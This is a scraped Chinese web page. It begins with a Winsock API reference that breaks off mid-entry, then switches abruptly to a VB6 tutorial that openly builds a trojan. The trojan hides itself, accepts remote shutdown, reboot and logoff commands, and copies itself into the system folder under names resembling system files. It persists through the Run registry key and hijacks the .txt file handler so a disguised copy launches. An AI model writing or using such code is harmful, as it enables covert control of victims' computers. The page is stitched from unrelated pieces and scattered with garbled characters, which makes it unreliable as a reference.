Winsock编程基础白痴问题!

Winsock编程基础白痴问题!,第1张

BSD 函式包括:

accept() bind() closesocket() connect()

getpeername() getsockname() getsockopt() htonl()

htons() inet_addr() inet_ntoa() ioctlsocket()

listen() ntohl() ntohs() recv()

recvfrom() select() send() sendto()

setsockopt() shutdown() socket() gethostname()

gethostbyaddr() gethostbyname()

getprotobyname() getprotobynumber()

getservbyname() getservbyport()

Microsoft html" class="UBBWordLink">Windows-specific Extensions 函式包括:

WSAAsyncGetHostByAddr() WSAAsyncGetHostByName()

WSAAsyncGetProtoByName() WSAAsyncGetProtoByNumber()

WSAAsyncGetServByName() WSAAsyncGetServByPort()

WSAAsyncSelect() WSACancelAsyncRequest()

WSACancelBlockingCall() WSACleanup()

WSAGetLastError() WSAIsBlocking()

WSASetBlockingHook() WSASetLastError()

WSAStartup() WSAUnhookBlockingHook()

这些 API 介面适用於 Internet Protocol Suite (IPS,通常称之为 TCP/IP),

支援 Stream (TCP) 及 Datagram (UDP) Socket。

Stream (TCP) Socket 提供「双向」、「可靠」、「有次序」、「不重覆」之资料传送。

Datagram (UDP) Socket 则提供「双向」之沟通,但没有「可靠」、「有次序」、「不重覆」等之保证; 所以使用者可能会收到无次序、重覆之资料稿隐念,甚至资料在传输过程中也可能会遗漏。

[Blocking 与 Non-blocking 模式]

Blocking 模式:使用者呼叫此一模式之函式时,会进入此函式之内部,直到条件或资料完全符合时再回到呼叫点。

Non-blocking 模式:使用者呼叫此一模式之函式时,进入此函式之内部,依当时之条件键困或资料做适当之回覆,并不会停留在函式之内部到条件或资料完全符合后才回应。

使用者必需注意的是,html" class="UBBWordLink">WINSOCK 定义之 Blocking 模式与一般 Unix 的不太相同。html" class="UBBWordLink">WINSOCK定义允许应用程式在呼叫 Blocking 函式的同时,依旧能够处理其它讯息 (Messages),包括Keyboard 及 Mouse 的事件;但是此时应用程式除了能用 WSACancelBlockingCall() 函式来取消原先之 locking 动作或用WSAIsBlocking() 函式来检查目前是否有 Blocking 动作仍在进行外,不可以」在原先呼叫之Blocking 函式完成前再呼叫其它的 Socket 函式,不然后者会失败且产携正生WSAINPROGRESS 的错误。

使用者呼叫 WSACancelBlockingCall()函式所取消的 Blocking 动作若不是accept() 或者 select()的话,那麽之后唯一可呼叫的 Socket 函式只有closesocket(),因为取消一个 Socket 的Blocking 动作会使其变成未定(Indeterminate) 状态。

[Async (非同步) 模式]

使用者呼叫此一模式的函式时,并不会马上得到要求的资料;而是当要求的动作完成后,系统再透过另一种方式来通知呼叫者。其好处是使用者不需等到答覆后才可以再做其它的动作或要求。

html" class="UBBWordLink">WINSOCK定义的 Async 模式是以「PostMessage」的方式告知使用者其要求已经完成;所以在呼叫此类函式时,必须告知 html" class="UBBWordLink">Windows Sockets DLL一些资讯,包括接受讯息的视窗 handle及讯息编号等。

[函式概说]

[BSD Socket 程式库]

(1) accept():接受某一Socket的连接要求,以完成 Stream Socket 的连接。

格 式: SOCKET PASCAL FAR accept( SCOKET s,struct sockaddr FAR *addr,int FAR *addrlen )

参 数: s Socket的识别码 addr 存放来连接的彼端的位址 addrlen addr的长度

传回值: 成功 - 新的Socket识别码 失败 - INVALID_SOCKET (呼叫 WSAGetLastError() 可得知原因)

说明: Server 端之应用程式呼叫此一函式来接受 Client 端要求之Socket 连接动作;如果Server 端之 Socket 是为 Blocking 模式,且没有人要求连接动作,那麽此一函式会Block 函式马上回覆错误。accept() 函式的答覆值为一新的 Socket,此 Socket 不可再用来接受其它的连接要求;但是原先之 Socket 仍可接受其他人的连接要求。

(2) bind():指定 Socket 的 Local 位址 (Address)。

格 式: int PASCAL FAR bind( SOCKET s,const struct sockaddr FAR *name,int namelen )

参 数: s Socket的识别码 name Socket的位址值,其格式为

struct sockaddr

{

u_short sa_family

char sa_data[14]

}

namelen name的长度

传回值: 成功 - 0

失败 - SOCKET_ERROR (呼叫 WSAGetLastError() 可得知原因)

说明: 此一函式是指定 Local 位址及 Port 给某一未定名之 Socket。 使用者若不在意位址或 Port 的值,那麽他可以设定位址为 INADDR_ANY,及Port 为 0;那麽html" class="UBBWordLink">Windows Sockets 会自动将其设定适当之位址及 Port(1024 到 5000之间的值),使用者可以在此 Socket 真正连接完成后,呼叫 getsockname() 来获知其被设定的值。

(3) closesocket():关闭某一Socket。

格 式: int PASCAL FAR closesocket( SOCKET s )

参 数: s Socket 的识别码

传回值: 成功 - 0

失败 - SOCKET_ERROR (呼叫 WSAGetLastError() 可得知原因)

说明: 此一函式是用来关闭某一 Socket。

若是使用者原先对要关闭之 Socket 设定 SO_DONTLINGER,则在呼叫此一函式后,会马上回覆,但是此一 Sokcet 尚未传送完毕的资料会继续送完后才关闭。

若是使用者原先设定此 Socket 为 SO_LINGER,则有两种情况:

(a) Timeout 设为 0 的话,此一 Socket 马上重新设定 (reset),未传完或未收到的资料全部遗失。

(b) Timeout 不为 0 的话,则会将资料送完,或是等到 Timeout 发生后才关闭。

(4) connect():要求连接某一Socket到指定的对方。

格 式: int PASCAL FAR connect( SOCKET s,const struct sockaddr FAR *name,int namelen )

参 数: s Socket 的识别码

name 此 Socket 想要连接的对方位址

namelen name的长度

传回值:成功 - 0

失败 - SOCKET_ERROR (呼叫WSAGetLastError()可得知原因)

说明: 此函式用来向对方要求建立连接。若是指定的对方位址为 0 的话,会传回错误值。当连接建立完成后,使用者即可利用此一 Socket 来做传送或接收资料之用了。

(5) getpeername():获取已连接成功之 Socket 的对方位址。

格 式: int PASCAL FAR getpeername( SOCKET s,struct sockaddr FAR *name,int FAR *namelen )

参 数: s Socket 的识别码

name 此 Socket 连接的对方位址

namelen name 的长度

传回值: 成功 - 0

失败 - SOCKET_ERROR (呼叫 WSAGetLastError() 可得知原因)

说明: 此函式可用来取得已连接成功的 Socket 的彼端之位址资料。

(6) getsockname():获取 Socket 的 Local 位址资料。

格式: int PASCAL FAR getsockname( SOCKET s,struct sockaddr FAR *name,int FAR *namelen )

参数: s Socket 的识别码

name 此 Socket 的 Local 位址

namelen name 的长度

传回值: 成功 - 0

失败 - SOCKET_ERROR (呼叫 WSAGetLastError() 可得知原因)

说明: 此函式是用来取得已设定位址或已连接之 Socket 的本端位址资料。若是此 Socket 被设定为 INADDR_ANY,则需等真正建立连接成功后才会传回正确的位址。

(7) getsockopt():要求某一 Socket 目前状态设定的资料。

格式: int PASCAL FAR getsockopt( SOCKET s,int level,int optname,char FAR *optval,int FAR *optlen )

参数: s= Socket的识别码,level=选项设定的,level=optname 选项名称,optval=选项的设定值,optlen=选项设定值的长度

传回值: 成功 - 0

失败 - SOCKET_ERROR (呼叫 WSAGetLastError() 可得知原因)

说明: 此函式用来获取目前 Socket的某些状态设定值。 html" class="UBBWordLink">WINSOCK 提供之 level 只有 SOL_SOCKET 及 IPPROTO_TCP optname则有以下 之选择:(参见html" class="UBBWordLink">WINSOCK 第 29、30 页之定义)

Value Type

-----------------------------------------------

SO_ACCEPTCONN BOOL

SO_BROADCAST BOOL

*SO_DEBUG BOOL

SO_DONTLINGER BOOL

*SO_DONTROUTE BOOL

*SO_ERROR int

*SO_KEEPALIVE BOOL

SO_LINGER struct linger FAR*

SO_OOBINLINE BOOL

*SO_RCVBUF int

SO_REUSEADDR BOOL

*SO_SNDBUF int

SO_TYPE int

TCP_NODELAY BOOL

(* 表示暂不提供此功能选项)

(8) htonl():将一 32 位元 u_long 的值由 host 的排列方式转换成network 的排列方式。

格式: u_long PASCAL FAR htonl( u_long hostlong )

参数: hostlong 一个 32 位元 host 排列方式的数目

传回值: 一个 32 位元 network 排列方式的数目

说明: 因为 network 的排列方式与 host 的排列方式可能不同,所以我们需要此一函式来做转换。

(9) htons():将一 16 位元u_short 的值由 host 的排列方式转换成network 的排列方式。

格 式: u_short PASCAL FAR htons( u_short hostshort )

参 数: hostshort 一个 16 位元 host 排列方式的数目

传回值: 一个 16 位元 network 排列方式的数目

说明: 因为 network 的排列方式与 host 的排列方式可能不同,所以我们需要此一函式来做转换。

(10) inet_addr():将字串格式的位址转换成 32 位元 unsigned long 的格式。

格式: unsigned long PASCAL FAR inet_addr( const char FAR *cp )

参数: cp 一个代表位址的「点格式」(dotted) 字串

传回值: 成功 - 一个代表 Internet 位址的 unsigned long

失败 - INADDR_NONE

说明: 此函式将一「点格式」的位址字串转换成适用之Intenet位址。

「点格式」字串可为以下四种方式之任一:

(i) a.b.c.d (ii) a.b.c (iii) a.b (iv) a

首先,新建一工程,名为Server,新建一个窗体,Name为frmServer,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。

接下来我们回来frmServer窗体模块中,添加如下代码:

Private Sub form_Load()

With Me

.sckServer.LocalPort = 4000‘本地端口

.sckServer.Listen ‘开始监听

End With

End Sub

‘接受客户端的连接请求。

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)

With Me

If .sckServer.State <>sckClosed Then .sckServer.Close

.sckServer.Accept (requestID)

End With

End Sub

下面我们来建立客户端程序:新建一个工程袭前携,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:

Private Sub form_Load()

With Me

.sckClient.RemoteHost = "127.0.0.1"‘设置远程IP,本例设为本机。

.sckClient.RemotePort = 4000 ‘远程端口,就为server中的设置一样.

End With

End Sub

Private sub cmdConnect_Click()

SckClient.Connect

End sub

至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。

 拍伏 这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,我们打算实现一点小小的功能―――关机,重启,注销。好,开始吧!

在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:

Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Public Const EWX_LOGOFF = 0

Public Const EWX_REBOOT = 2

Public Const EWX_SHUTDOWN = 1

Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long

Public Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

 悔前 注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。

下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启 *** 作。分别添加如下代码:

Private Sub cmdExit_Click()

Me.sckClient.SendData "Exit"

End Sub

Private Sub cmdLogoff_Click()

Me.sckClient.SendData "Logoff"

End Sub

Private Sub cmdReboot_Click()

Me.sckClient.SendData "Reboot"

End Sub

全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。

Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)

Dim strData As String

With Me

'' 接收客户请求的信息

.sckServer.GetData strData

Select Case strData

Case "Exit"

''关机

Call ExitWindowsEx(EWX_SHUTDOWN, 0)

Case "Reboot"

''重启

Call ExitWindowsEx(EWX_REBOOT, 0)

Case "Logoff"

''注销

Call ExitWindowsEx(EWX_LOGOFF, 0)

End Select

End With

End Sub

好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在frmServer中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!

回到Server工程中的modApi中加入如下API函数:

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Const REG_BINARY = 3

Public Const REG_SZ = 1

Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const HKEY_CLASSES_ROOT = &H80000000

写到注册表启动组中的过程。

Public Sub StartupGroup()

Dim sKey As String

Dim result As Long

Dim hKeyID As Long

Dim sKeyVal As String

sKey = "Systrsy" ''启动组中的键,找一个与系统文件相近的。

sKeyVal = "C:\windows\system\systrsy.exe" ''木马文件的路径,可以用GetSystemDirectory来取得系统路径。

result = RegOpenKey(HKEY_LOCAL_MACHINE, _

"Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)

If result = 0 Then

result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _

Len(sKey) + 1)

End If

End Sub

好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:

Public Sub WriteToTxt()

Dim result As Long

Dim hKeyID As Long

Dim skey As String

Dim skeyVal As String

skey = "txtfile\shell\open\command"

skeyVal = "C:\windows\system\txtView.exe"

result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)

If result = 0 Then

result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _

skeyVal, Len(skeyVal) + 1)

End If

End Sub

肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。

好,回到Server工程的frmServer窗体的form_Load中,加入如下代码:

Dim sCurrentPath As String, sSystemDir As String

sCurrentPath = App.Path &"\" &App.EXEName &".exe"

sSystemDir = “C:\windows\system”

On Error Resume Next

‘复制文件成系统目录下的Systrsy.exe

FileCopy sCurrentPath, sSystemDir &"\Systrsy.exe"

On Error Resume Next

复制文件成系统目录下的txtView.exe

FileCopy sCurrentPath, sSystemDir &"\txtView.exe"

调用

Call startupGroup

Call WriteToTxt

''判断程序是否下在运行

If App.PrevInstance Then

‘如果已经运行就退出。

End

End If


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/yw/12547415.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2025-08-26
下一篇2025-08-26

发表评论

登录后才能评论

评论列表(0条)

    保存